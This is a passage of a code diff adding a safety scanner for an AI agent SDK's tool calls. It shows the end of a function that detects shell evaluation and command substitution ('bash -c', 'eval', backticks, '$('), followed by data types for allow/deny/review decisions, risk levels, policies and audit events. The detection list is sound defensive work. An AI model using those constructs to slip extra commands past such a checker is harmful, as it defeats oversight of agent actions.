patterns.""" + lower = command.lower() + patterns = [ + "sh -c", + "bash -c", + "zsh -c", + "eval ", + "`", + "$(", + "${", + " 2>", + ] + return any(p in lower for p in patterns) + + +def parse_args(command: str) -> list[str]: + """Naive whitespace split of command into argv.""" + return command.strip().split() diff --git a/trpc_agent_sdk/tools/safety/_types.py b/trpc_agent_sdk/tools/safety/_types.py new file mode 100644 index 00000000..b5a4f7d6 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_types.py @@ -0,0 +1,171 @@ +# Tencent is pleased to support the open source community by making +# tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Safety scanner data types. Mirrors trpc-agent-go/tool/safety/safety.go.""" + +from __future__ import annotations + +import time +from dataclasses import dataclass, field +from enum import Enum + +# --------------------------------------------------------------------------- +# Decision & RiskLevel +# --------------------------------------------------------------------------- + + +class Decision(str, Enum): + ALLOW = "allow" + DENY = "deny" + ASK = "ask" + NEEDS_HUMAN_REVIEW = "needs_human_review" + + +DECISION_ALLOW = Decision.ALLOW +DECISION_DENY = Decision.DENY +DECISION_ASK = Decision.ASK +DECISION_NEEDS_HUMAN_REVIEW = Decision.NEEDS_HUMAN_REVIEW + + +class RiskLevel(str, Enum): + LOW = "low" + MEDIUM = "medium" + HIGH = "high" + CRITICAL = "critical" + + +RISK_LOW = RiskLevel.LOW +RISK_MEDIUM = RiskLevel.MEDIUM +RISK_HIGH = RiskLevel.HIGH +RISK_CRITICAL = RiskLevel.CRITICAL + + +def decision_rank(d: Decision) -> int: + _map = { + Decision.ALLOW: 1, + Decision.ASK: 2, + Decision.NEEDS_HUMAN_REVIEW: 3, + Decision.DENY: 4, + } + return _map.get(d, 0) + + +def risk_rank(level: RiskLevel) -> int: + _map = { + RiskLevel.LOW: 1, + RiskLevel.MEDIUM: 2, + RiskLevel.HIGH: 3, + RiskLevel.CRITICAL: 4, + } + return _map.get(level, 0) + + +# --------------------------------------------------------------------------- +# Policy +# --------------------------------------------------------------------------- + + +@dataclass +class Policy: + denied_commands: list[str] = field(default_factory=list) + allowed_commands: list[str] = field(default_factory=list) + denied_paths: list[str] = field(default_factory=list) + network_allowlist: list[str] = field(default_factory=list) + env_allowlist: list[str] = field(default_factory=list) + review_commands: list[str] = field(default_factory=list) + max_timeout_seconds: int = 0 + max_output_bytes: int = 0 + review_shell_pipelines: bool = True + deny_on_parse_error: bool = True + + +# --------------------------------------------------------------------------- +# Request +# --------------------------------------------------------------------------- + + +@dataclass +class CodeBlock: + language: str = "" + code: str = "" + + +@dataclass +class Request: + tool_name: str = "" + command: str = "" + args: list[str] = field(default_factory=list) + cwd: str = "" + env: dict[str, str] = field(default_factory=dict) + backend: str = "" + timeout_seconds: int = 0 + max_output_bytes: int = 0 + background: bool = False + tty: bool = False + code_blocks: list[CodeBlock] = field(default_factory=list) + + +# --------------------------------------------------------------------------- +# Finding & Report +# --------------------------------------------------------------------------- + + +@dataclass +class Finding: + decision: Decision = Decision.ALLOW + risk_level: RiskLevel = RiskLevel.LOW + rule_id: str = "" + evidence: list[str] = field(default_factory=list) + recommendation: str = "" + + +def finding_beats(a: Finding, b: Finding) -> bool: + if decision_rank(a.decision) != decision_rank(b.decision): + return decision_rank(a.decision) > decision_rank(b.decision) + return risk_rank(a.risk_level) > risk_rank(b.risk_level) + + +@dataclass +class Report: + decision: Decision = Decision.ALLOW + risk_level: RiskLevel = RiskLevel.LOW + rule_id: str = "" + evidence: list[str] = field(default_factory=list) + recommendation: str = "" + tool_name: str = "" + command: str = "" + backend: str = "" + blocked: bool = False + redacted: bool = False + duration_ms: int = 0 + safe_summary: str = "" + findings: list[Finding] = field(default_factory=list) + + def span_attributes(self) -> dict[str, str]: + return { + "tool.safety.decision": self.decision.value, + "tool.safety.risk_level": self.risk_level.value, + "tool.safety.rule_id": self.rule_id, + "tool.safety.backend": self.backend, + } + + +# --------------------------------------------------------------------------- +# AuditEvent +# --------------------------------------------------------------------------- + + +@dataclass +class AuditEvent: + timestamp: float = field(default_factory=time.time) + tool_name: str = "" + decision: Decision = Decision.ALLOW + risk_level: RiskLevel = RiskLevel.LOW + rule_id: str = "" + duration_ms: int = 0 + redacted: bool = False + blocked: bool = False + backend: str = ""